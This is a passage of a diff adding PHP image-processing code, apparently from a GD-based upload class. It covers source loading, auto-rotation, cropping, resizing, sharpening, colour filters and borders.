    '; + } + } + break; + case 'gif': + if (!$this->function_enabled('imagecreatefromgif')) { + $this->processed = false; + $this->error = $this->translate('no_create_support', array('GIF')); + } else { + $image_src = @imagecreatefromgif($this->file_src_pathname); + if (!$image_src) { + $this->processed = false; + $this->error = $this->translate('create_error', array('GIF')); + } else { + $this->log .= '- source image is GIF
    '; + } + } + break; + case 'bmp': + if (!method_exists($this, 'imagecreatefrombmp')) { + $this->processed = false; + $this->error = $this->translate('no_create_support', array('BMP')); + } else { + $image_src = @$this->imagecreatefrombmp($this->file_src_pathname); + if (!$image_src) { + $this->processed = false; + $this->error = $this->translate('create_error', array('BMP')); + } else { + $this->log .= '- source image is BMP
    '; + } + } + break; + default: + $this->processed = false; + $this->error = $this->translate('source_invalid'); + } + } else { + $this->processed = false; + $this->error = $this->translate('gd_missing'); + } + + if ($this->processed && $image_src) { + + // we have to set image_convert if it is not already + if (empty($this->image_convert)) { + $this->log .= '- setting destination file type to ' . $this->image_src_type . '
    '; + $this->image_convert = $this->image_src_type; + } + + if (!in_array($this->image_convert, $this->image_supported)) { + $this->image_convert = 'jpg'; + } + + // we set the default color to be the background color if we don't output in a transparent format + if ($this->image_convert != 'png' && $this->image_convert != 'gif' && !empty($this->image_default_color) && empty($this->image_background_color)) $this->image_background_color = $this->image_default_color; + if (!empty($this->image_background_color)) $this->image_default_color = $this->image_background_color; + if (empty($this->image_default_color)) $this->image_default_color = '#FFFFFF'; + + $this->image_src_x = imagesx($image_src); + $this->image_src_y = imagesy($image_src); + $gd_version = $this->gdversion(); + $ratio_crop = null; + + if (!imageistruecolor($image_src)) { // $this->image_src_type == 'gif' + $this->log .= '- image is detected as having a palette
    '; + $this->image_is_palette = true; + $this->image_transparent_color = imagecolortransparent($image_src); + if ($this->image_transparent_color >= 0 && imagecolorstotal($image_src) > $this->image_transparent_color) { + $this->image_is_transparent = true; + $this->log .= '    palette image is detected as transparent
    '; + } + // if the image has a palette (GIF), we convert it to true color, preserving transparency + $this->log .= '    convert palette image to true color
    '; + $true_color = imagecreatetruecolor($this->image_src_x, $this->image_src_y); + imagealphablending($true_color, false); + imagesavealpha($true_color, true); + for ($x = 0; $x < $this->image_src_x; $x++) { + for ($y = 0; $y < $this->image_src_y; $y++) { + if ($this->image_transparent_color >= 0 && imagecolorat($image_src, $x, $y) == $this->image_transparent_color) { + imagesetpixel($true_color, $x, $y, 127 << 24); + } else { + $rgb = imagecolorsforindex($image_src, imagecolorat($image_src, $x, $y)); + imagesetpixel($true_color, $x, $y, ($rgb['alpha'] << 24) | ($rgb['red'] << 16) | ($rgb['green'] << 8) | $rgb['blue']); + } + } + } + $image_src = $this->imagetransfer($true_color, $image_src); + imagealphablending($image_src, false); + imagesavealpha($image_src, true); + $this->image_is_palette = false; + } + + $image_dst = & $image_src; + + // auto-flip image, according to EXIF data (JPEG only) + if ($gd_version >= 2 && !empty($auto_flip)) { + $this->log .= '- auto-flip image : ' . ($auto_flip == 'v' ? 'vertical' : 'horizontal') . '
    '; + $tmp = $this->imagecreatenew($this->image_src_x, $this->image_src_y); + for ($x = 0; $x < $this->image_src_x; $x++) { + for ($y = 0; $y < $this->image_src_y; $y++){ + if (strpos($auto_flip, 'v') !== false) { + imagecopy($tmp, $image_dst, $this->image_src_x - $x - 1, $y, $x, $y, 1, 1); + } else { + imagecopy($tmp, $image_dst, $x, $this->image_src_y - $y - 1, $x, $y, 1, 1); + } + } + } + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // auto-rotate image, according to EXIF data (JPEG only) + if ($gd_version >= 2 && is_numeric($auto_rotate)) { + if (!in_array($auto_rotate, array(0, 90, 180, 270))) $auto_rotate = 0; + if ($auto_rotate != 0) { + if ($auto_rotate == 90 || $auto_rotate == 270) { + $tmp = $this->imagecreatenew($this->image_src_y, $this->image_src_x); + } else { + $tmp = $this->imagecreatenew($this->image_src_x, $this->image_src_y); + } + $this->log .= '- auto-rotate image : ' . $auto_rotate . '
    '; + for ($x = 0; $x < $this->image_src_x; $x++) { + for ($y = 0; $y < $this->image_src_y; $y++){ + if ($auto_rotate == 90) { + imagecopy($tmp, $image_dst, $y, $x, $x, $this->image_src_y - $y - 1, 1, 1); + } else if ($auto_rotate == 180) { + imagecopy($tmp, $image_dst, $x, $y, $this->image_src_x - $x - 1, $this->image_src_y - $y - 1, 1, 1); + } else if ($auto_rotate == 270) { + imagecopy($tmp, $image_dst, $y, $x, $this->image_src_x - $x - 1, $y, 1, 1); + } else { + imagecopy($tmp, $image_dst, $x, $y, $x, $y, 1, 1); + } + } + } + if ($auto_rotate == 90 || $auto_rotate == 270) { + $t = $this->image_src_y; + $this->image_src_y = $this->image_src_x; + $this->image_src_x = $t; + } + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + } + + // pre-crop image, before resizing + if ((!empty($this->image_precrop))) { + list($ct, $cr, $cb, $cl) = $this->getoffsets($this->image_precrop, $this->image_src_x, $this->image_src_y, true, true); + $this->log .= '- pre-crop image : ' . $ct . ' ' . $cr . ' ' . $cb . ' ' . $cl . '
    '; + $this->image_src_x = $this->image_src_x - $cl - $cr; + $this->image_src_y = $this->image_src_y - $ct - $cb; + if ($this->image_src_x < 1) $this->image_src_x = 1; + if ($this->image_src_y < 1) $this->image_src_y = 1; + $tmp = $this->imagecreatenew($this->image_src_x, $this->image_src_y); + + // we copy the image into the recieving image + imagecopy($tmp, $image_dst, 0, 0, $cl, $ct, $this->image_src_x, $this->image_src_y); + + // if we crop with negative margins, we have to make sure the extra bits are the right color, or transparent + if ($ct < 0 || $cr < 0 || $cb < 0 || $cl < 0 ) { + // use the background color if present + if (!empty($this->image_background_color)) { + list($red, $green, $blue) = $this->getcolors($this->image_background_color); + $fill = imagecolorallocate($tmp, $red, $green, $blue); + } else { + $fill = imagecolorallocatealpha($tmp, 0, 0, 0, 127); + } + // fills eventual negative margins + if ($ct < 0) imagefilledrectangle($tmp, 0, 0, $this->image_src_x, -$ct, $fill); + if ($cr < 0) imagefilledrectangle($tmp, $this->image_src_x + $cr, 0, $this->image_src_x, $this->image_src_y, $fill); + if ($cb < 0) imagefilledrectangle($tmp, 0, $this->image_src_y + $cb, $this->image_src_x, $this->image_src_y, $fill); + if ($cl < 0) imagefilledrectangle($tmp, 0, 0, -$cl, $this->image_src_y, $fill); + } + + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // resize image (and move image_src_x, image_src_y dimensions into image_dst_x, image_dst_y) + if ($this->image_resize) { + $this->log .= '- resizing...
    '; + $this->image_dst_x = $this->image_x; + $this->image_dst_y = $this->image_y; + + // backward compatibility for soon to be deprecated settings + if ($this->image_ratio_no_zoom_in) { + $this->image_ratio = true; + $this->image_no_enlarging = true; + } else if ($this->image_ratio_no_zoom_out) { + $this->image_ratio = true; + $this->image_no_shrinking = true; + } + + // keeps aspect ratio with x calculated from y + if ($this->image_ratio_x) { + $this->log .= '    calculate x size
    '; + $this->image_dst_x = round(($this->image_src_x * $this->image_y) / $this->image_src_y); + $this->image_dst_y = $this->image_y; + + // keeps aspect ratio with y calculated from x + } else if ($this->image_ratio_y) { + $this->log .= '    calculate y size
    '; + $this->image_dst_x = $this->image_x; + $this->image_dst_y = round(($this->image_src_y * $this->image_x) / $this->image_src_x); + + // keeps aspect ratio, calculating x and y so that the image is approx the set number of pixels + } else if (is_numeric($this->image_ratio_pixels)) { + $this->log .= '    calculate x/y size to match a number of pixels
    '; + $pixels = $this->image_src_y * $this->image_src_x; + $diff = sqrt($this->image_ratio_pixels / $pixels); + $this->image_dst_x = round($this->image_src_x * $diff); + $this->image_dst_y = round($this->image_src_y * $diff); + + // keeps aspect ratio with x and y dimensions, filling the space + } else if ($this->image_ratio_crop) { + if (!is_string($this->image_ratio_crop)) $this->image_ratio_crop = ''; + $this->image_ratio_crop = strtolower($this->image_ratio_crop); + if (($this->image_src_x/$this->image_x) > ($this->image_src_y/$this->image_y)) { + $this->image_dst_y = $this->image_y; + $this->image_dst_x = intval($this->image_src_x*($this->image_y / $this->image_src_y)); + $ratio_crop = array(); + $ratio_crop['x'] = $this->image_dst_x - $this->image_x; + if (strpos($this->image_ratio_crop, 'l') !== false) { + $ratio_crop['l'] = 0; + $ratio_crop['r'] = $ratio_crop['x']; + } else if (strpos($this->image_ratio_crop, 'r') !== false) { + $ratio_crop['l'] = $ratio_crop['x']; + $ratio_crop['r'] = 0; + } else { + $ratio_crop['l'] = round($ratio_crop['x']/2); + $ratio_crop['r'] = $ratio_crop['x'] - $ratio_crop['l']; + } + $this->log .= '    ratio_crop_x : ' . $ratio_crop['x'] . ' (' . $ratio_crop['l'] . ';' . $ratio_crop['r'] . ')
    '; + if (is_null($this->image_crop)) $this->image_crop = array(0, 0, 0, 0); + } else { + $this->image_dst_x = $this->image_x; + $this->image_dst_y = intval($this->image_src_y*($this->image_x / $this->image_src_x)); + $ratio_crop = array(); + $ratio_crop['y'] = $this->image_dst_y - $this->image_y; + if (strpos($this->image_ratio_crop, 't') !== false) { + $ratio_crop['t'] = 0; + $ratio_crop['b'] = $ratio_crop['y']; + } else if (strpos($this->image_ratio_crop, 'b') !== false) { + $ratio_crop['t'] = $ratio_crop['y']; + $ratio_crop['b'] = 0; + } else { + $ratio_crop['t'] = round($ratio_crop['y']/2); + $ratio_crop['b'] = $ratio_crop['y'] - $ratio_crop['t']; + } + $this->log .= '    ratio_crop_y : ' . $ratio_crop['y'] . ' (' . $ratio_crop['t'] . ';' . $ratio_crop['b'] . ')
    '; + if (is_null($this->image_crop)) $this->image_crop = array(0, 0, 0, 0); + } + + // keeps aspect ratio with x and y dimensions, fitting the image in the space, and coloring the rest + } else if ($this->image_ratio_fill) { + if (!is_string($this->image_ratio_fill)) $this->image_ratio_fill = ''; + $this->image_ratio_fill = strtolower($this->image_ratio_fill); + if (($this->image_src_x/$this->image_x) < ($this->image_src_y/$this->image_y)) { + $this->image_dst_y = $this->image_y; + $this->image_dst_x = intval($this->image_src_x*($this->image_y / $this->image_src_y)); + $ratio_crop = array(); + $ratio_crop['x'] = $this->image_dst_x - $this->image_x; + if (strpos($this->image_ratio_fill, 'l') !== false) { + $ratio_crop['l'] = 0; + $ratio_crop['r'] = $ratio_crop['x']; + } else if (strpos($this->image_ratio_fill, 'r') !== false) { + $ratio_crop['l'] = $ratio_crop['x']; + $ratio_crop['r'] = 0; + } else { + $ratio_crop['l'] = round($ratio_crop['x']/2); + $ratio_crop['r'] = $ratio_crop['x'] - $ratio_crop['l']; + } + $this->log .= '    ratio_fill_x : ' . $ratio_crop['x'] . ' (' . $ratio_crop['l'] . ';' . $ratio_crop['r'] . ')
    '; + if (is_null($this->image_crop)) $this->image_crop = array(0, 0, 0, 0); + } else { + $this->image_dst_x = $this->image_x; + $this->image_dst_y = intval($this->image_src_y*($this->image_x / $this->image_src_x)); + $ratio_crop = array(); + $ratio_crop['y'] = $this->image_dst_y - $this->image_y; + if (strpos($this->image_ratio_fill, 't') !== false) { + $ratio_crop['t'] = 0; + $ratio_crop['b'] = $ratio_crop['y']; + } else if (strpos($this->image_ratio_fill, 'b') !== false) { + $ratio_crop['t'] = $ratio_crop['y']; + $ratio_crop['b'] = 0; + } else { + $ratio_crop['t'] = round($ratio_crop['y']/2); + $ratio_crop['b'] = $ratio_crop['y'] - $ratio_crop['t']; + } + $this->log .= '    ratio_fill_y : ' . $ratio_crop['y'] . ' (' . $ratio_crop['t'] . ';' . $ratio_crop['b'] . ')
    '; + if (is_null($this->image_crop)) $this->image_crop = array(0, 0, 0, 0); + } + + // keeps aspect ratio with x and y dimensions + } else if ($this->image_ratio) { + if (($this->image_src_x/$this->image_x) > ($this->image_src_y/$this->image_y)) { + $this->image_dst_x = $this->image_x; + $this->image_dst_y = intval($this->image_src_y*($this->image_x / $this->image_src_x)); + } else { + $this->image_dst_y = $this->image_y; + $this->image_dst_x = intval($this->image_src_x*($this->image_y / $this->image_src_y)); + } + + // resize to provided exact dimensions + } else { + $this->log .= '    use plain sizes
    '; + $this->image_dst_x = $this->image_x; + $this->image_dst_y = $this->image_y; + } + + if ($this->image_dst_x < 1) $this->image_dst_x = 1; + if ($this->image_dst_y < 1) $this->image_dst_y = 1; + $this->log .= '    image_src_x y : ' . $this->image_src_x . ' x ' . $this->image_src_y . '
    '; + $this->log .= '    image_dst_x y : ' . $this->image_dst_x . ' x ' . $this->image_dst_y . '
    '; + + // make sure we don't enlarge the image if we don't want to + if ($this->image_no_enlarging && ($this->image_src_x < $this->image_dst_x || $this->image_src_y < $this->image_dst_y)) { + $this->log .= '    cancel resizing, as it would enlarge the image!
    '; + $this->image_dst_x = $this->image_src_x; + $this->image_dst_y = $this->image_src_y; + } + + // make sure we don't shrink the image if we don't want to + if ($this->image_no_shrinking && ($this->image_src_x > $this->image_dst_x || $this->image_src_y > $this->image_dst_y)) { + $this->log .= '    cancel resizing, as it would shrink the image!
    '; + $this->image_dst_x = $this->image_src_x; + $this->image_dst_y = $this->image_src_y; + } + + // resize the image + if ($this->image_dst_x != $this->image_src_x && $this->image_dst_y != $this->image_src_y) { + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + + if ($gd_version >= 2) { + $res = imagecopyresampled($tmp, $image_src, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y, $this->image_src_x, $this->image_src_y); + } else { + $res = imagecopyresized($tmp, $image_src, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y, $this->image_src_x, $this->image_src_y); + } + + $this->log .= '    resized image object created
    '; + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + } else { + $this->image_dst_x = $this->image_src_x; + $this->image_dst_y = $this->image_src_y; + } + + // crop image (and also crops if image_ratio_crop is used) + if ((!empty($this->image_crop) || !is_null($ratio_crop))) { + list($ct, $cr, $cb, $cl) = $this->getoffsets($this->image_crop, $this->image_dst_x, $this->image_dst_y, true, true); + // we adjust the cropping if we use image_ratio_crop + if (!is_null($ratio_crop)) { + if (array_key_exists('t', $ratio_crop)) $ct += $ratio_crop['t']; + if (array_key_exists('r', $ratio_crop)) $cr += $ratio_crop['r']; + if (array_key_exists('b', $ratio_crop)) $cb += $ratio_crop['b']; + if (array_key_exists('l', $ratio_crop)) $cl += $ratio_crop['l']; + } + $this->log .= '- crop image : ' . $ct . ' ' . $cr . ' ' . $cb . ' ' . $cl . '
    '; + $this->image_dst_x = $this->image_dst_x - $cl - $cr; + $this->image_dst_y = $this->image_dst_y - $ct - $cb; + if ($this->image_dst_x < 1) $this->image_dst_x = 1; + if ($this->image_dst_y < 1) $this->image_dst_y = 1; + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + + // we copy the image into the recieving image + imagecopy($tmp, $image_dst, 0, 0, $cl, $ct, $this->image_dst_x, $this->image_dst_y); + + // if we crop with negative margins, we have to make sure the extra bits are the right color, or transparent + if ($ct < 0 || $cr < 0 || $cb < 0 || $cl < 0 ) { + // use the background color if present + if (!empty($this->image_background_color)) { + list($red, $green, $blue) = $this->getcolors($this->image_background_color); + $fill = imagecolorallocate($tmp, $red, $green, $blue); + } else { + $fill = imagecolorallocatealpha($tmp, 0, 0, 0, 127); + } + // fills eventual negative margins + if ($ct < 0) imagefilledrectangle($tmp, 0, 0, $this->image_dst_x, -$ct-1, $fill); + if ($cr < 0) imagefilledrectangle($tmp, $this->image_dst_x + $cr, 0, $this->image_dst_x, $this->image_dst_y, $fill); + if ($cb < 0) imagefilledrectangle($tmp, 0, $this->image_dst_y + $cb, $this->image_dst_x, $this->image_dst_y, $fill); + if ($cl < 0) imagefilledrectangle($tmp, 0, 0, -$cl-1, $this->image_dst_y, $fill); + } + + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // flip image + if ($gd_version >= 2 && !empty($this->image_flip)) { + $this->image_flip = strtolower($this->image_flip); + $this->log .= '- flip image : ' . $this->image_flip . '
    '; + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + for ($x = 0; $x < $this->image_dst_x; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++){ + if (strpos($this->image_flip, 'v') !== false) { + imagecopy($tmp, $image_dst, $this->image_dst_x - $x - 1, $y, $x, $y, 1, 1); + } else { + imagecopy($tmp, $image_dst, $x, $this->image_dst_y - $y - 1, $x, $y, 1, 1); + } + } + } + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // rotate image + if ($gd_version >= 2 && is_numeric($this->image_rotate)) { + if (!in_array($this->image_rotate, array(0, 90, 180, 270))) $this->image_rotate = 0; + if ($this->image_rotate != 0) { + if ($this->image_rotate == 90 || $this->image_rotate == 270) { + $tmp = $this->imagecreatenew($this->image_dst_y, $this->image_dst_x); + } else { + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + } + $this->log .= '- rotate image : ' . $this->image_rotate . '
    '; + for ($x = 0; $x < $this->image_dst_x; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++){ + if ($this->image_rotate == 90) { + imagecopy($tmp, $image_dst, $y, $x, $x, $this->image_dst_y - $y - 1, 1, 1); + } else if ($this->image_rotate == 180) { + imagecopy($tmp, $image_dst, $x, $y, $this->image_dst_x - $x - 1, $this->image_dst_y - $y - 1, 1, 1); + } else if ($this->image_rotate == 270) { + imagecopy($tmp, $image_dst, $y, $x, $this->image_dst_x - $x - 1, $y, 1, 1); + } else { + imagecopy($tmp, $image_dst, $x, $y, $x, $y, 1, 1); + } + } + } + if ($this->image_rotate == 90 || $this->image_rotate == 270) { + $t = $this->image_dst_y; + $this->image_dst_y = $this->image_dst_x; + $this->image_dst_x = $t; + } + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + } + + // pixelate image + if ((is_numeric($this->image_pixelate) && $this->image_pixelate > 0)) { + $this->log .= '- pixelate image (' . $this->image_pixelate . 'px)
    '; + $filter = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + if ($gd_version >= 2) { + imagecopyresampled($filter, $image_dst, 0, 0, 0, 0, round($this->image_dst_x / $this->image_pixelate), round($this->image_dst_y / $this->image_pixelate), $this->image_dst_x, $this->image_dst_y); + imagecopyresampled($image_dst, $filter, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y, round($this->image_dst_x / $this->image_pixelate), round($this->image_dst_y / $this->image_pixelate)); + } else { + imagecopyresized($filter, $image_dst, 0, 0, 0, 0, round($this->image_dst_x / $this->image_pixelate), round($this->image_dst_y / $this->image_pixelate), $this->image_dst_x, $this->image_dst_y); + imagecopyresized($image_dst, $filter, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y, round($this->image_dst_x / $this->image_pixelate), round($this->image_dst_y / $this->image_pixelate)); + } + imagedestroy($filter); + } + + // unsharp mask + if ($gd_version >= 2 && $this->image_unsharp && is_numeric($this->image_unsharp_amount) && is_numeric($this->image_unsharp_radius) && is_numeric($this->image_unsharp_threshold)) { + // Unsharp Mask for PHP - version 2.1.1 + // Unsharp mask algorithm by Torstein Hønsi 2003-07. + // Used with permission + // Modified to support alpha transparency + if ($this->image_unsharp_amount > 500) $this->image_unsharp_amount = 500; + $this->image_unsharp_amount = $this->image_unsharp_amount * 0.016; + if ($this->image_unsharp_radius > 50) $this->image_unsharp_radius = 50; + $this->image_unsharp_radius = $this->image_unsharp_radius * 2; + if ($this->image_unsharp_threshold > 255) $this->image_unsharp_threshold = 255; + $this->image_unsharp_radius = abs(round($this->image_unsharp_radius)); + if ($this->image_unsharp_radius != 0) { + $this->image_dst_x = imagesx($image_dst); $this->image_dst_y = imagesy($image_dst); + $canvas = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y, false, true); + $blur = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y, false, true); + if ($this->function_enabled('imageconvolution')) { // PHP >= 5.1 + $matrix = array(array( 1, 2, 1 ), array( 2, 4, 2 ), array( 1, 2, 1 )); + imagecopy($blur, $image_dst, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y); + imageconvolution($blur, $matrix, 16, 0); + } else { + for ($i = 0; $i < $this->image_unsharp_radius; $i++) { + imagecopy($blur, $image_dst, 0, 0, 1, 0, $this->image_dst_x - 1, $this->image_dst_y); // left + $this->imagecopymergealpha($blur, $image_dst, 1, 0, 0, 0, $this->image_dst_x, $this->image_dst_y, 50); // right + $this->imagecopymergealpha($blur, $image_dst, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y, 50); // center + imagecopy($canvas, $blur, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y); + $this->imagecopymergealpha($blur, $canvas, 0, 0, 0, 1, $this->image_dst_x, $this->image_dst_y - 1, 33.33333 ); // up + $this->imagecopymergealpha($blur, $canvas, 0, 1, 0, 0, $this->image_dst_x, $this->image_dst_y, 25); // down + } + } + $p_new = array(); + if($this->image_unsharp_threshold>0) { + for ($x = 0; $x < $this->image_dst_x-1; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++) { + $p_orig = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $p_blur = imagecolorsforindex($blur, imagecolorat($blur, $x, $y)); + $p_new['red'] = (abs($p_orig['red'] - $p_blur['red']) >= $this->image_unsharp_threshold) ? max(0, min(255, ($this->image_unsharp_amount * ($p_orig['red'] - $p_blur['red'])) + $p_orig['red'])) : $p_orig['red']; + $p_new['green'] = (abs($p_orig['green'] - $p_blur['green']) >= $this->image_unsharp_threshold) ? max(0, min(255, ($this->image_unsharp_amount * ($p_orig['green'] - $p_blur['green'])) + $p_orig['green'])) : $p_orig['green']; + $p_new['blue'] = (abs($p_orig['blue'] - $p_blur['blue']) >= $this->image_unsharp_threshold) ? max(0, min(255, ($this->image_unsharp_amount * ($p_orig['blue'] - $p_blur['blue'])) + $p_orig['blue'])) : $p_orig['blue']; + if (($p_orig['red'] != $p_new['red']) || ($p_orig['green'] != $p_new['green']) || ($p_orig['blue'] != $p_new['blue'])) { + $color = imagecolorallocatealpha($image_dst, $p_new['red'], $p_new['green'], $p_new['blue'], $p_orig['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + } + } + } + } else { + for ($x = 0; $x < $this->image_dst_x; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++) { + $p_orig = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $p_blur = imagecolorsforindex($blur, imagecolorat($blur, $x, $y)); + $p_new['red'] = ($this->image_unsharp_amount * ($p_orig['red'] - $p_blur['red'])) + $p_orig['red']; + if ($p_new['red']>255) { $p_new['red']=255; } elseif ($p_new['red']<0) { $p_new['red']=0; } + $p_new['green'] = ($this->image_unsharp_amount * ($p_orig['green'] - $p_blur['green'])) + $p_orig['green']; + if ($p_new['green']>255) { $p_new['green']=255; } elseif ($p_new['green']<0) { $p_new['green']=0; } + $p_new['blue'] = ($this->image_unsharp_amount * ($p_orig['blue'] - $p_blur['blue'])) + $p_orig['blue']; + if ($p_new['blue']>255) { $p_new['blue']=255; } elseif ($p_new['blue']<0) { $p_new['blue']=0; } + $color = imagecolorallocatealpha($image_dst, $p_new['red'], $p_new['green'], $p_new['blue'], $p_orig['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + } + } + } + imagedestroy($canvas); + imagedestroy($blur); + } + } + + // add color overlay + if ($gd_version >= 2 && (is_numeric($this->image_overlay_opacity) && $this->image_overlay_opacity > 0 && !empty($this->image_overlay_color))) { + $this->log .= '- apply color overlay
    '; + list($red, $green, $blue) = $this->getcolors($this->image_overlay_color); + $filter = imagecreatetruecolor($this->image_dst_x, $this->image_dst_y); + $color = imagecolorallocate($filter, $red, $green, $blue); + imagefilledrectangle($filter, 0, 0, $this->image_dst_x, $this->image_dst_y, $color); + $this->imagecopymergealpha($image_dst, $filter, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y, $this->image_overlay_opacity); + imagedestroy($filter); + } + + // add brightness, contrast and tint, turns to greyscale and inverts colors + if ($gd_version >= 2 && ($this->image_negative || $this->image_greyscale || is_numeric($this->image_threshold)|| is_numeric($this->image_brightness) || is_numeric($this->image_contrast) || !empty($this->image_tint_color))) { + $this->log .= '- apply tint, light, contrast correction, negative, greyscale and threshold
    '; + if (!empty($this->image_tint_color)) list($tint_red, $tint_green, $tint_blue) = $this->getcolors($this->image_tint_color); + //imagealphablending($image_dst, true); + for($y=0; $y < $this->image_dst_y; $y++) { + for($x=0; $x < $this->image_dst_x; $x++) { + if ($this->image_greyscale) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $r = $g = $b = round((0.2125 * $pixel['red']) + (0.7154 * $pixel['green']) + (0.0721 * $pixel['blue'])); + $color = imagecolorallocatealpha($image_dst, $r, $g, $b, $pixel['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + unset($color); unset($pixel); + } + if (is_numeric($this->image_threshold)) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $c = (round($pixel['red'] + $pixel['green'] + $pixel['blue']) / 3) - 127; + $r = $g = $b = ($c > $this->image_threshold ? 255 : 0); + $color = imagecolorallocatealpha($image_dst, $r, $g, $b, $pixel['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + unset($color); unset($pixel); + } + if (is_numeric($this->image_brightness)) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $r = max(min(round($pixel['red'] + (($this->image_brightness * 2))), 255), 0); + $g = max(min(round($pixel['green'] + (($this->image_brightness * 2))), 255), 0); + $b = max(min(round($pixel['blue'] + (($this->image_brightness * 2))), 255), 0); + $color = imagecolorallocatealpha($image_dst, $r, $g, $b, $pixel['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + unset($color); unset($pixel); + } + if (is_numeric($this->image_contrast)) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $r = max(min(round(($this->image_contrast + 128) * $pixel['red'] / 128), 255), 0); + $g = max(min(round(($this->image_contrast + 128) * $pixel['green'] / 128), 255), 0); + $b = max(min(round(($this->image_contrast + 128) * $pixel['blue'] / 128), 255), 0); + $color = imagecolorallocatealpha($image_dst, $r, $g, $b, $pixel['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + unset($color); unset($pixel); + } + if (!empty($this->image_tint_color)) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $r = min(round($tint_red * $pixel['red'] / 169), 255); + $g = min(round($tint_green * $pixel['green'] / 169), 255); + $b = min(round($tint_blue * $pixel['blue'] / 169), 255); + $color = imagecolorallocatealpha($image_dst, $r, $g, $b, $pixel['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + unset($color); unset($pixel); + } + if (!empty($this->image_negative)) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $r = round(255 - $pixel['red']); + $g = round(255 - $pixel['green']); + $b = round(255 - $pixel['blue']); + $color = imagecolorallocatealpha($image_dst, $r, $g, $b, $pixel['alpha']); + imagesetpixel($image_dst, $x, $y, $color); + unset($color); unset($pixel); + } + } + } + } + + // adds a border + if ($gd_version >= 2 && !empty($this->image_border)) { + list($ct, $cr, $cb, $cl) = $this->getoffsets($this->image_border, $this->image_dst_x, $this->image_dst_y, true, false); + $this->log .= '- add border : ' . $ct . ' ' . $cr . ' ' . $cb . ' ' . $cl . '
    '; + $this->image_dst_x = $this->image_dst_x + $cl + $cr; + $this->image_dst_y = $this->image_dst_y + $ct + $cb; + if (!empty($this->image_border_color)) list($red, $green, $blue) = $this->getcolors($this->image_border_color); + $opacity = (is_numeric($this->image_border_opacity) ? (int) (127 - $this->image_border_opacity / 100 * 127): 0); + // we now create an image, that we fill with the border color + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + $background = imagecolorallocatealpha($tmp, $red, $green, $blue, $opacity); + imagefilledrectangle($tmp, 0, 0, $this->image_dst_x, $this->image_dst_y, $background); + // we then copy the source image into the new image, without merging so that only the border is actually kept + imagecopy($tmp, $image_dst, $cl, $ct, 0, 0, $this->image_dst_x - $cr - $cl, $this->image_dst_y - $cb - $ct); + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // adds a fading-to-transparent border + if ($gd_version >= 2 && !empty($this->image_border_transparent)) { + list($ct, $cr, $cb, $cl) = $this->getoffsets($this->image_border_transparent, $this->image_dst_x, $this->image_dst_y, true, false); + $this->log .= '- add transparent border : ' . $ct . ' ' . $cr . ' ' . $cb . ' ' . $cl . '
    '; + // we now create an image, that we fill with the border color + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + // we then copy the source image into the new image, without the borders + imagecopy($tmp, $image_dst, $cl, $ct, $cl, $ct, $this->image_dst_x - $cr - $cl, $this->image_dst_y - $cb - $ct); + // we now add the top border + $opacity = 100; + for ($y = $ct - 1; $y >= 0; $y--) { + $il = (int) ($ct > 0 ? ($cl * ($y / $ct)) : 0); + $ir = (int) ($ct > 0 ? ($cr * ($y / $ct)) : 0); + for ($x = $il; $x < $this->image_dst_x - $ir; $x++) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $alpha = (1 - ($pixel['alpha'] / 127)) * $opacity / 100; + if ($alpha > 0) { + if ($alpha > 1) $alpha = 1; + $color = imagecolorallocatealpha($tmp, $pixel['red'] , $pixel['green'], $pixel['blue'], round((1 - $alpha) * 127)); + imagesetpixel($tmp, $x, $y, $color); + } + } + if ($opacity > 0) $opacity = $opacity - (100 / $ct); + } + // we now add the right border + $opacity = 100; + for ($x = $this->image_dst_x - $cr; $x < $this->image_dst_x; $x++) { + $it = (int) ($cr > 0 ? 